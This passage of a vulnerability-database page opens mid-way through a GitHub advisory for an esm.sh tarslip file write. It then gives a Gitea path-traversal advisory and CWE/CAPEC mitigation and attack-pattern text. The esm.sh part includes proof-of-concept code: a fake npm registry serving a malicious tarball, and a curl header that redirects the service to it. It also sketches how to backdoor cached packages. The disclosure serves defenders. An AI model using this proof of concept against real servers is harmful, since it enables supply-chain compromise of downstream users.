send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n return jsonify({\n \"name\": package,\n \"versions\": {\n \"1.0.0\": {\n \"name\": package,\n \"version\": \"1.0.0\",\n \"dist\": {\n \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n }\n }\n },\n \"dist-tags\": {\"latest\": \"1.0.0\"}\n })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat /tmp/pyozzi.js\n\n# ouput:\n// Path Traversal PoC\n // This file was created via tarslip attack\n // Location: /tmp/pyozzi.js\n\n console.log(\u0027[!!!] Path Traversal Successful!\u0027);\n console.log(\u0027Package: test-tarslip\u0027);\n console.log(\u0027Researcher: pyozzi\u0027);\n\n module.exports = {\n poc: true,\n vulnerability: \u0027CWE-22 Path Traversal\u0027,\n package: \u0027test-tarslip\u0027\n };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh\u0027s cache. Package lists and file paths can be discovered through esm.sh\u0027s REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.",
"id": "GHSA-h3mw-4f23-gwpw",
"modified": "2025-11-27T08:29:22Z",
"published": "2025-11-19T20:30:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65025"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh CDN service has arbitrary file write via tarslip"
}
GHSA-H3Q4-VMW4-CPR5
Vulnerability from github – Published: 2022-03-16 00:00 – Updated: 2022-03-28 22:26The avatar middleware in Gitea before 1.13.6 allows Directory Traversal via a crafted URL.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29134"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-18T23:27:37Z",
"nvd_published_at": "2022-03-15T21:15:00Z",
"severity": "MODERATE"
},
"details": "The avatar middleware in Gitea before 1.13.6 allows Directory Traversal via a crafted URL.",
"id": "GHSA-h3q4-vmw4-cpr5",
"modified": "2022-03-28T22:26:45Z",
"published": "2022-03-16T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29134"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/15125/files"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.13.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in Gitea"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.